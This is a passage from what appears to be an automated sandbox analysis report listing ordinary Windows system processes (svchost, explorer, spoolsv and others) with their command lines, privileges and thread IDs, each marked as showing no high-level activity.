Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x2c8
Parent PID	0x1ec (c:\windows\system32\wininit.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	Low
Username	S-1-5-96-0-0
Enabled Privileges	SeChangeNotifyPrivilege, SeIncreaseWorkingSetPrivilege
Thread IDs	0x 2F8 0x 2F4 0x 2F0 0x 2EC 0x 2CC

Process #53: svchost.exe

0

»

Information	Value
ID	#53
File Name	c:\windows\system32\svchost.exe
Command Line	C:\WINDOWS\system32\svchost.exe -k RPCSS
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x318
Parent PID	0x250 (c:\windows\system32\services.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\Network Service
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 94C 0x 948 0x 944 0x 940 0x 574 0x 458 0x 18C 0x 3E0 0x 358 0x 34C 0x 348 0x 338 0x 334 0x 32C 0x 31C

Process #54: dwm.exe

0

»

Information	Value
ID	#54
File Name	c:\windows\system32\dwm.exe
Command Line	"dwm.exe"
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x374
Parent PID	0x234 (c:\windows\system32\winlogon.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	Window Manager\DWM-1
Enabled Privileges	SeIncreaseBasePriorityPrivilege, SeChangeNotifyPrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege
Thread IDs	0x 328 0x 17C 0x 2A0 0x 24C 0x 16C 0x 1E8 0x 1FC 0x 3B0 0x 3A4 0x 398 0x 378

Process #55: svchost.exe

0

»

Information	Value
ID	#55
File Name	c:\windows\system32\svchost.exe
Command Line	C:\WINDOWS\system32\svchost.exe -k netsvcs
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x3c0
Parent PID	0x250 (c:\windows\system32\services.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\SYSTEM
Enabled Privileges	SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege, SeDelegateSessionUserImpersonatePrivilege
Thread IDs	0x 125C 0x 11F0 0x 11CC 0x 10A4 0x 1078 0x 1048 0x 1040 0x 103C 0x F28 0x EE4 0x 714 0x F40 0x 754 0x 48C 0x F50 0x F5C 0x DA4 0x B64 0x D74 0x D54 0x A34 0x A6C 0x D4C 0x 794 0x FF4 0x 60 0x D38 0x ECC 0x 2E8 0x 2D0 0x DD8 0x 270 0x 260 0x 210 0x 8F4 0x DF4 0x 4C4 0x 4B8 0x EC4 0x A50 0x A3C 0x A30 0x A18 0x 9C4 0x 9AC 0x 9A4 0x 9A0 0x 99C 0x 998 0x 990 0x 988 0x 980 0x 970 0x 96C 0x 968 0x 960 0x 954 0x 950 0x 93C 0x 938 0x 924 0x 87C 0x 80C 0x 808 0x 4DC 0x 7DC 0x 7D4 0x 7D0 0x 7C0 0x 730 0x 6F0 0x 6EC 0x 664 0x 59C 0x 554 0x 4B4 0x 44C 0x 448 0x 428 0x 418 0x 414 0x 35C 0x 340 0x 3A0 0x 38C 0x 364 0x 248 0x 280 0x 29C 0x 188 0x 3C4 0x 11D8 0x 11F8 0x 11D4 0x 1214 0x 1218 0x 1228 0x E30 0x 124C 0x 10E4 0x 115C 0x 390 0x 13B4 0x E08 0x E28 0x 11E8 0x 12F0 0x 1218 0x 122C 0x 11B8

Process #56: svchost.exe

0

»

Information	Value
ID	#56
File Name	c:\windows\system32\svchost.exe
Command Line	C:\WINDOWS\system32\svchost.exe -k LocalServiceNoNetwork
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x3d0
Parent PID	0x250 (c:\windows\system32\services.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\Local Service
Enabled Privileges	SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x A1C 0x A08 0x A04 0x 9C8 0x 9A8 0x 984 0x 978 0x 904 0x 8B0 0x 84C 0x 848 0x 81C 0x 804 0x 494 0x 434 0x 7E8 0x 7E4 0x 7D8 0x 7C8 0x 78C 0x 76C 0x 768 0x 764 0x 760 0x 624 0x 1B0 0x 3D4

Process #57: svchost.exe

0

»

Information	Value
ID	#57
File Name	c:\windows\system32\svchost.exe
Command Line	C:\WINDOWS\System32\svchost.exe -k LocalServiceNetworkRestricted
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x3f4
Parent PID	0x250 (c:\windows\system32\services.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\Local Service
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1364 0x 36C 0x 384 0x F1C 0x F08 0x EF8 0x EDC 0x EAC 0x 62C 0x 464 0x 460 0x 450 0x 424 0x 420 0x 41C 0x 410 0x 194 0x 198 0x 3F8 0x 3D8 0x 474 0x 1258 0x 1250 0x 1190 0x E0C

Process #58: svchost.exe

0

»

Information	Value
ID	#58
File Name	c:\windows\system32\svchost.exe
Command Line	C:\WINDOWS\System32\svchost.exe -k LocalSystemNetworkRestricted
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x12c
Parent PID	0x250 (c:\windows\system32\services.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\SYSTEM
Enabled Privileges	SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege, SeDelegateSessionUserImpersonatePrivilege
Thread IDs	0x FE8 0x E74 0x E70 0x E54 0x E4C 0x 85C 0x 858 0x 854 0x 850 0x 844 0x 5E0 0x 4F4 0x 4E0 0x 2B0 0x 1A0 0x 1B8 0x 138

Process #59: svchost.exe

0

»

Information	Value
ID	#59
File Name	c:\windows\system32\svchost.exe
Command Line	C:\WINDOWS\system32\svchost.exe -k LocalService
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x170
Parent PID	0x250 (c:\windows\system32\services.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\Local Service
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 134C 0x 1338 0x 4A8 0x CD0 0x C94 0x C90 0x C8C 0x C88 0x C84 0x C7C 0x C78 0x C74 0x C28 0x C24 0x C20 0x C1C 0x B90 0x A48 0x A00 0x 8E0 0x 674 0x 5B0 0x 5AC 0x 5A8 0x 5A4 0x 5A0 0x 598 0x 54C 0x 4EC 0x 4E8 0x 4C0 0x 478 0x 444 0x 440 0x 43C 0x 404

Process #60: svchost.exe

0

»

Information	Value
ID	#60
File Name	c:\windows\system32\svchost.exe
Command Line	C:\WINDOWS\System32\svchost.exe -k NetworkService
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x480
Parent PID	0x250 (c:\windows\system32\services.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\Network Service
Enabled Privileges	SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 113C 0x 10E8 0x 10D4 0x 200 0x E3C 0x E7C 0x 6CC 0x 6C0 0x EA8 0x EA4 0x 670 0x 660 0x 65C 0x 64C 0x 628 0x 620 0x 614 0x 58C 0x 584 0x 580 0x 558 0x 550 0x 52C 0x 514 0x 510 0x 508 0x 484

Process #61: svchost.exe

0

»

Information	Value
ID	#61
File Name	c:\windows\system32\svchost.exe
Command Line	C:\WINDOWS\System32\svchost.exe -k LocalServiceNetworkRestricted
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x4fc
Parent PID	0x250 (c:\windows\system32\services.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\Local Service
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege
Thread IDs	0x 9D8 0x 5B4 0x 570 0x 56C 0x 568 0x 564 0x 560 0x 524 0x 500 0x 1304

Process #62: svchost.exe

0

»

Information	Value
ID	#62
File Name	c:\windows\system32\svchost.exe
Command Line	C:\WINDOWS\System32\svchost.exe -k LocalServiceNetworkRestricted
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x530
Parent PID	0x250 (c:\windows\system32\services.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\Local Service
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x F60 0x C54 0x 900 0x 8FC 0x 534

Process #63: svchost.exe

0

»

Information	Value
ID	#63
File Name	c:\windows\system32\svchost.exe
Command Line	C:\WINDOWS\system32\svchost.exe -k LocalServiceNetworkRestricted
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x538
Parent PID	0x250 (c:\windows\system32\services.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\Local Service
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege
Thread IDs	0x 66C 0x 618 0x 5FC 0x 5E4 0x 5DC 0x 5D8 0x 5D4 0x 5D0 0x 594 0x 53C

Process #64: spoolsv.exe

0

»

Information	Value
ID	#64
File Name	c:\windows\system32\spoolsv.exe
Command Line	C:\WINDOWS\System32\spoolsv.exe
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x5c4
Parent PID	0x250 (c:\windows\system32\services.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\SYSTEM
Enabled Privileges	SeTcbPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege
Thread IDs	0x 13EC 0x F18 0x D78 0x FF0 0x D98 0x D9C 0x 770 0x 6E4 0x DFC 0x E00 0x 650 0x 610 0x 604 0x 5EC 0x 5C8

Process #65: svchost.exe

0

»

Information	Value
ID	#65
File Name	c:\windows\system32\svchost.exe
Command Line	C:\WINDOWS\system32\svchost.exe -k appmodel
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x5f0
Parent PID	0x250 (c:\windows\system32\services.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\SYSTEM
Enabled Privileges	SeTcbPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePermanentPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege
Thread IDs	0x A2C 0x A14 0x 8DC 0x 8D4 0x 520 0x 67C 0x 678 0x 644 0x 640 0x 63C 0x 5F4

Process #66: svchost.exe

0

»

Information	Value
ID	#66
File Name	c:\windows\system32\svchost.exe
Command Line	C:\WINDOWS\system32\svchost.exe -k wsappx
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x684
Parent PID	0x250 (c:\windows\system32\services.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\SYSTEM
Enabled Privileges	SeTcbPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePermanentPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeCreateSymbolicLinkPrivilege
Thread IDs	0x 1220 0x 518 0x 6A0 0x 698 0x 690 0x 688 0x 1B4

Process #67: audiodg.exe

0

»

Information	Value
ID	#67
File Name	c:\windows\system32\audiodg.exe
Command Line	C:\WINDOWS\system32\AUDIODG.EXE 0x3a0
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x6a4
Parent PID	0x4fc (c:\windows\system32\svchost.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\Local Service
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege
Thread IDs	0x D08 0x FEC 0x EE0 0x FE4 0x 6BC 0x 6B8 0x 6B4 0x 6A8

Process #68: sihost.exe

0

»

Information	Value
ID	#68
File Name	c:\windows\system32\sihost.exe
Command Line	sihost.exe
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x6fc
Parent PID	0x3c0 (c:\windows\system32\svchost.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x AF8 0x AF4 0x 8D8 0x 8A8 0x 8A4 0x 810 0x 4CC 0x 750 0x 73C 0x 728 0x 724 0x 710 0x 70C 0x 708 0x 700

Process #69: svchost.exe

0

»

Information	Value
ID	#69
File Name	c:\windows\system32\svchost.exe
Command Line	C:\WINDOWS\system32\svchost.exe -k UnistackSvcGroup
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x718
Parent PID	0x250 (c:\windows\system32\services.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x 109C 0x CE8 0x CFC 0x B98 0x CD4 0x C50 0x C10 0x 608 0x 638 0x 77C 0x 774 0x 74C 0x 748 0x 740 0x 71C

Process #70: taskhostw.exe

0

»

Information	Value
ID	#70
File Name	c:\windows\system32\taskhostw.exe
Command Line	taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x7ac
Parent PID	0x3c0 (c:\windows\system32\svchost.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x 10BC 0x A28 0x 98C 0x 8EC 0x 8B4 0x B78 0x B14 0x 830 0x 82C 0x 820 0x 818 0x 814 0x 780 0x 6B0 0x 680 0x 40C 0x 7B0

Process #71: officeclicktorun.exe

0

»

Information	Value
ID	#71
File Name	c:\program files\common files\microsoft shared\clicktorun\officeclicktorun.exe
Command Line	"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x7f4
Parent PID	0x250 (c:\windows\system32\services.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\SYSTEM
Enabled Privileges	SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege, SeDelegateSessionUserImpersonatePrivilege
Thread IDs	0x 838 0x FFC 0x E8C 0x E78 0x E6C 0x E58 0x 9F0 0x 9EC 0x 9DC 0x 934 0x 930 0x 928 0x 920 0x 91C 0x 918 0x 8CC 0x 60C 0x 648 0x 488 0x 7F8

Process #72: securityhealthservice.exe

0

»

Information	Value
ID	#72
File Name	c:\windows\system32\securityhealthservice.exe
Command Line	C:\WINDOWS\system32\SecurityHealthService.exe
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x55c
Parent PID	0x250 (c:\windows\system32\services.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\SYSTEM
Enabled Privileges	SeTcbPrivilege, SeDebugPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege
Thread IDs	0x 9FC 0x 9F8 0x 9D4 0x 8D0 0x 5E8

Process #73: explorer.exe

0

»

Information	Value
ID	#73
File Name	c:\windows\explorer.exe
Command Line	C:\WINDOWS\Explorer.EXE
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x860
Parent PID	0xffffffffffffffff (Unknown)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x 1160 0x FA8 0x D50 0x C98 0x C80 0x C68 0x C64 0x C60 0x C5C 0x C4C 0x C44 0x C40 0x C3C 0x C2C 0x C0C 0x 994 0x BBC 0x AE8 0x AE4 0x AE0 0x ADC 0x AD8 0x AD4 0x AD0 0x ACC 0x AC0 0x ABC 0x AB8 0x AB4 0x AB0 0x AAC 0x AA8 0x AA4 0x AA0 0x A94 0x A74 0x A6C 0x A68 0x A64 0x A4C 0x A44 0x A40 0x A38 0x A10 0x A0C 0x 9D0 0x 9BC 0x 9B8 0x 97C 0x 974 0x 964 0x 958 0x 914 0x 908 0x 8F8 0x 878 0x 874 0x 870 0x 864 0x 1268 0x E24

Process #74: Memory Compression

0

»

Information	Value
ID	#74
File Name	-
Command Line	-
Initial Working Directory	-
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x8bc
Parent PID	0x4 (System)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\SYSTEM
Enabled Privileges	SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege, SeDelegateSessionUserImpersonatePrivilege
Thread IDs	0x B4C 0x B48 0x B44 0x B38 0x B2C 0x B20 0x 8C4 0x 8C0

Process #75: shellexperiencehost.exe

0

»

Information	Value
ID	#75
File Name	c:\windows\systemapps\shellexperiencehost_cw5n1h2txyewy\shellexperiencehost.exe
Command Line	"C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca
Initial Working Directory	C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0xb50
Parent PID	0x2b4 (c:\windows\system32\svchost.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	Low
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x E34 0x DE8 0x DE4 0x DE0 0x CB4 0x CB0 0x CA8 0x CA4 0x C08 0x 6E0 0x 6D0 0x 8C8 0x 69C 0x 79C 0x 634 0x BE0 0x BDC 0x BD4 0x BD0 0x BA4 0x BA0 0x B9C 0x B94 0x B8C 0x B88 0x B68 0x B54

Process #76: searchui.exe

0

»

Information	Value
ID	#76
File Name	c:\windows\systemapps\microsoft.windows.cortana_cw5n1h2txyewy\searchui.exe
Command Line	"C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
Initial Working Directory	C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0xb58
Parent PID	0x2b4 (c:\windows\system32\svchost.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	Low
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x DD4 0x DD0 0x B74 0x B70 0x 590 0x 578 0x 6C4 0x 6D4 0x 588 0x 828 0x 630 0x 7C4 0x 7A0 0x 438 0x 7FC 0x 778 0x 50C 0x BF0 0x BEC 0x BE4 0x BD8 0x BCC 0x BC8 0x BC4 0x BC0 0x BB8 0x BB4 0x BB0 0x BAC 0x BA8 0x B84 0x B7C 0x B6C 0x B5C

Process #77: runtimebroker.exe

0

»

Information	Value
ID	#77
File Name	c:\windows\system32\runtimebroker.exe
Command Line	C:\Windows\System32\RuntimeBroker.exe -Embedding
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0xbf4
Parent PID	0x2b4 (c:\windows\system32\svchost.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x 734 0x A0C 0x 57C 0x 61C 0x BF8

Process #78: wmiprvse.exe

0

»

Information	Value
ID	#78
File Name	c:\windows\system32\wbem\wmiprvse.exe
Command Line	C:\WINDOWS\system32\wbem\wmiprvse.exe -secured -Embedding
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:02:52, Reason: Self Terminated
Monitor Duration	00:00:26
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0xe04
Parent PID	0x2b4 (c:\windows\system32\svchost.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\Network Service
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x FF8 0x E40 0x E2C 0x E28 0x E24 0x E20 0x E1C 0x E18 0x E14 0x E08

Process #79: taskhostw.exe

0

»

Information	Value
ID	#79
File Name	c:\windows\system32\taskhostw.exe
Command Line	taskhostw.exe Logon
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0xf6c
Parent PID	0x3c0 (c:\windows\system32\svchost.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x 744 0x E84 0x AF0 0x FD8 0x FD4 0x FD0 0x FCC 0x FBC 0x F70 0x 1084 0x 5CC 0x EDC 0x B98

Process #80: devicecensus.exe

0

»

Information	Value
ID	#80
File Name	c:\windows\system32\devicecensus.exe
Command Line	C:\WINDOWS\system32\devicecensus.exe
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0xfa0
Parent PID	0x3c0 (c:\windows\system32\svchost.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\SYSTEM
Enabled Privileges	SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege, SeDelegateSessionUserImpersonatePrivilege
Thread IDs	0x 1044 0x 1260 0x 11EC 0x 1114 0x 784 0x FA4 0x 5CC

Process #81: apphostregistrationverifier.exe

0

»

Information	Value
ID	#81
File Name	c:\windows\system32\apphostregistrationverifier.exe
Command Line	C:\WINDOWS\system32\AppHostRegistrationVerifier.exe
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:03:14, Reason: Self Terminated
Monitor Duration	00:00:48
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0xfac
Parent PID	0x3c0 (c:\windows\system32\svchost.exe)
